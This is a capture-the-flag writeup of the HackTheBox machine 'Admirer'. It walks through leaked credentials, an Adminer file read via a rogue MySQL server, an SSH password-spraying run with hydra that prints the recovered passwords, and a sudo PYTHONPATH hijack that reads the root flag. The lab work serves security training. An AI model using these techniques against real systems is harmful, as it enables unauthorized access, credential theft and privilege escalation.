HTB: Admirer

Posted on 27 Sep 2020 in security • 5 min read

Admirer card

This is a writeup about a retired HacktheBox machine: Admirer created by polarbearer and GibParadox and publish on May 2, 2020. This box is classified as an easy machine. The user part implied a few enumeration and an adminer vulnerability. The root part implied a sudo permission with SETENV and a python script.



We start with an nmap scan. Only the ports 21(FTP), 22 (SSH) and 80 (HTTP) are open.

# Nmap 7.80 scan initiated Mon May  4 11:30:21 2020 as: nmap -p- -sS -oN nmap
Nmap scan report for
Host is up (0.020s latency).
Not shown: 65532 closed ports
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

# Nmap done at Mon May  4 11:39:02 2020 -- 1 IP address (1 host up) scanned in 520.65 seconds


The ftp service doesn't allow anonymous connections.


The home web page is a collection of picture.

Home page

We look at the robot.txt file, it contains the location of some admin-dir directory supposed to contain some credentials.

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

We try a few filename like passwords.txt, creds.txtcredentials.txt works and give use a few usernames and password for some services including ftp.

[Internal mail account]

[FTP account]

[Wordpress account]

Back to the FTP

We connect to the FTP account using the creds. This allow us to get a SQL dump (nothing interesting in it) and an archive of the web site. This archive give show the existence of an interesting directory utility-scripts. It also give use credentials for a MySQL database in the db_connect.php file. The comment at the end of the file // TODO: Finish implementing this or find a better open source alternative is also an hint for the next part.

FTP page

Back to the web

We use dirb on the utility-scripts directory. As we know that the application is using php we add the .php extension. The tool discover the page adminer.php.

kali@kali:~/pown/htb_admirer$ dirb  /usr/share/wordlists/dirb/big.txt -X .php

DIRB v2.22
By The Dark Raver

START_TIME: Tue May  5 05:55:58 2020
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]



---- Scanning URL: ----
+ (CODE:200|SIZE:4295)


Adminer is a tools to manage your database directly from your browser. It is a phpmyadmin alternative.

Obviously we land on a login page. The previously found credentials doesn't work. But looking at the page, we see that the used version is "4.6.2" and that the last version is "4.7.6".

adminer page

We Google for "adminer 4.6.2 exploit" and found an article about a serious vulnerability in adminer tool

We just need a Rogue MySql Server. We launch it and start getting some files. We try db_connect.php but the file was obviously replace by adminer.php. We can retrieve adminier.php just to be sure that our exploit is working. Then we just retrieve ../index.php which contain the new creds for the database.

kali@kali:~/Rogue-MySql-Server$ php roguemysql.php
Enter filename to get [db_connect.php] > ../index.php
[.] Waiting for connection on
[+] Connection from - greet... auth ok... some shit ok... want file...
[+] ../index.php from
        Multiverse by HTML5 UP | @ajlkn
        Free for personal and commercial use under the CCA 3.0 license (
                <meta charset="utf-8" />
                <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
                <link rel="stylesheet" href="assets/css/main.css" />
                <noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
        <body class="is-preload">

                <!-- Wrapper -->
                        <div id="wrapper">

                                <!-- Header -->
                                        <header id="header">
                                                <h1><a href="index.html"><strong>Admirer</strong> of skills and visuals</a></h1>
                                                                <li><a href="#footer" class="icon solid fa-info-circle">About</a></li>

                                <!-- Main -->
                                        <div id="main">
                        $servername = "localhost";
                        $username = "waldo";
                        $password = "&<h5b~yK3F#{PaPB&dA}{H>";
                        $dbname = "admirerdb";

We can then connect to the local database with adminer but there is nothing interesting there.

I have the habit to create two files user and passwd containing the looted data. We use hydra to test the gather creds against the ssh service. The last password found is a valid SSH password for the waldo user.

$ hydra -L user -P passwd ssh://
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2020-05-05 05:22:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries (l:11/p:6), ~5 tries per task
[DATA] attacking ssh://
[22][ssh] host:   login: ftpuser   password: %n?4Wz}R$tTF7
[22][ssh] host:   login: waldo   password: &<h5b~yK3F#{PaPB&dA}{H>
1 of 1 target successfully completed, 2 valid passwords found
Hydra ( finished at 2020-05-05 05:22:17

We can then connect to ssh and get the user flag.

kali@kali:~/pown/htb_admirer/loot/html$ ssh waldo@
waldo@'s password:
waldo@admirer:~$ cat user.txt

Way to root

With our ssh connection with start to enumerate the box. The first thing we notice is that we have the sudo permission to execute /opt/scripts/ with the SETENV flag. Which means that our environmental variable will be preserved.

waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/

When looking at the script we see a few interesting blocks.

The first interesting part is the backup_shadow function. I tried some race condition between the moment the file is backuped and not yet chown to root. But that is not working.

    if [ "$EUID" -eq 0 ]
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
        echo "Insufficient privileges to perform the selected operation."

The next one is the backup_web function as this call an external python script.

    if [ "$EUID" -eq 0 ]
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/ &
        echo "Insufficient privileges to perform the selected operation."

The python script import the make_archive function from shutil. And then create a tar.gz archive from /var/www/hml.


from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

As we can export our environmental variable to sudo, we can rewrote the shutil module to execute the code we want. We wrote a specific script:

    def make_archive(a,b,c):
        with open('/root/root.txt') as f:
            with open('/tmp/plop/flag.txt', 'w') as g:

And run the web backup with specifying our PYTHONPATH environment variable.

waldo@admirer:/tmp/plop$ sudo PYTHONPATH=/tmp/plop /opt/scripts/ 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp/plop$ ok
cat flag.txt

Wrapping up

The box was a combination of simple techniques. As the exposed surface was really small (FTP, SSH and HTTP) there was not a lot of rabbit hole during exploration. I am a bit mad that the "exploit" for adminer was not in searchsploit as I lost some time before putting the search into Google.

The root part was quit simple if you know already know the issue.